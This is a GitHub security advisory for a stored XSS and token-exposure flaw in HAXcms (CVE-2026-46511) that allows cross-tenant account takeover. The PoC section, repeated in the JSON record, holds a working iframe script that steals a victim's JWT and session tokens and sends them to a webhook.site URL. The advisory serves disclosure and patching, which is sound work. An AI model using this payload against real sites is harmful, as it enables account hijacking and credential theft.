GHSA-X3X5-7H4H-GWXG
Vulnerability from github – Published: 2026-05-19 14:47 – Updated: 2026-05-19 14:47Summary
An attack chain utilizing Stored XSS alongside dynamic token exposure in the /system/api/connectionSettings endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the jwt, user_token, site_token, and appstore_token) into a global JavaScript variable (window.appSettings). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.
Details
In Operations.php (connectionSettings()), the system returns a Javascript object designed to bootstrap the frontend context. This object, window.appSettings, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session.
While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:
1. The Vector: The system is vulnerable to Stored XSS (e.g., via injected iframe srcdoc or <video-player>).
2. The Exposure: Because the connectionSettings endpoint serves the tokens locally based on the active PHPSESSID cookie, any malicious script running in the browser context can intercept these keys.
3. The Chain: HAXcms isolates user environments by URL path (/<username>/). An attacker can use XSS to force the victim's browser to fetch their target username's specific settings via fetch('/<username>/system/api/connectionSettings'). Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens.
PoC
1. Setup the Webhook Target
Prepare an external webhook (e.g., webhook.site) to receive the stolen data.
2. Inject the "Kill Chain" Payload
As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an <iframe>):
<iframe srcdoc="<script>
const targetUsername = 'bto108'; // Replace with target victim
fetch(`/${targetUsername}/system/api/connectionSettings`)
.then(res => res.text())
.then(data => {
const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));
const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');
const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');
let aToken = 'N/A';
if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {
aToken = s.appStore.params.appstore_token;
}
// Exfiltrate via Image Request to bypass CORS
const payload = btoa(JSON.stringify({
target: targetUsername,
jwt: s.jwt,
user_token: uToken,
site_token: sToken,
appstore_token: aToken
}));
new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;
});
</script>" style="display:none"></iframe>
3. Execution & Verification
- When the victim (e.g., user bto108) views the compromised page, their browser automatically fires the fetch request, silently attaching their active session cookie.
- The server responds with their connection settings.
- The script parses their jwt, user_token, and other keys, encoding them in base64.
- The attacker receives the full JWT and token dump on their webhook.
Screenshots confirming the data leakage and webhook capture:
Impact
Critical Severity.
This attack completely compromises the primary defense mechanism of the CMS. By stealing the jwt and user_token, the attacker achieves total account hijacking without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).
The reliance on a global Javascript variable (window.appSettings) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.0.0"
},
"package": {
"ecosystem": "npm",
"name": "@haxtheweb/haxcms-nodejs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46511"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-79",
"CWE-922"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T14:47:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session\u0027s authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim\u0027s browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.\n\n### Details\nIn `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a \"skeleton key\" because it aggregates all necessary operational tokens for the active session. \n\nWhile HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:\n1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `\u003cvideo-player\u003e`).\n2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys.\n3. **The Chain**: HAXcms isolates user environments by URL path (`/\u003cusername\u003e/`). An attacker can use XSS to force the victim\u0027s browser to fetch their *target* username\u0027s specific settings via `fetch(\u0027/\u003cusername\u003e/system/api/connectionSettings\u0027)`. Since the browser implicitly attaches the victim\u0027s session cookie, the server authenticates the request and returns the victim\u0027s valid JWT and tokens.\n\n### PoC\n**1. Setup the Webhook Target**\nPrepare an external webhook (e.g., `webhook.site`) to receive the stolen data.\n\n**2. Inject the \"Kill Chain\" Payload**\nAs an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `\u003ciframe\u003e`):\n\n```html\n\u003ciframe srcdoc=\"\u003cscript\u003e\n const targetUsername = \u0027bto108\u0027; // Replace with target victim\n\n fetch(`/${targetUsername}/system/api/connectionSettings`)\n .then(res =\u003e res.text())\n .then(data =\u003e {\n const s = JSON.parse(data.substring(data.indexOf(\u0027{\u0027), data.lastIndexOf(\u0027}\u0027) + 1));\n \n const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get(\u0027user_token\u0027);\n const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get(\u0027site_token\u0027);\n \n let aToken = \u0027N/A\u0027;\n if (s.appStore \u0026\u0026 s.appStore.params \u0026\u0026 s.appStore.params.appstore_token) {\n aToken = s.appStore.params.appstore_token;\n }\n\n // Exfiltrate via Image Request to bypass CORS\n const payload = btoa(JSON.stringify({\n target: targetUsername, \n jwt: s.jwt, \n user_token: uToken, \n site_token: sToken, \n appstore_token: aToken\n }));\n \n new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;\n });\n\u003c/script\u003e\" style=\"display:none\"\u003e\u003c/iframe\u003e\n```\n\n**3. Execution \u0026 Verification**\n- When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie.\n- The server responds with their connection settings.\n- The script parses their `jwt`, `user_token`, and other keys, encoding them in base64.\n- The attacker receives the full JWT and token dump on their webhook.\n\n*Screenshots confirming the data leakage and webhook capture:*\n\n\n\n\n\n\n\n### Impact\n**Critical Severity.** \nThis attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim\u0027s password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).\n\nThe reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.",
"id": "GHSA-x3x5-7h4h-gwxg",
"modified": "2026-05-19T14:47:03Z",
"published": "2026-05-19T14:47:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-x3x5-7h4h-gwxg"
},
{
"type": "PACKAGE",
"url": "https://github.com/haxtheweb/issues"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack "
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.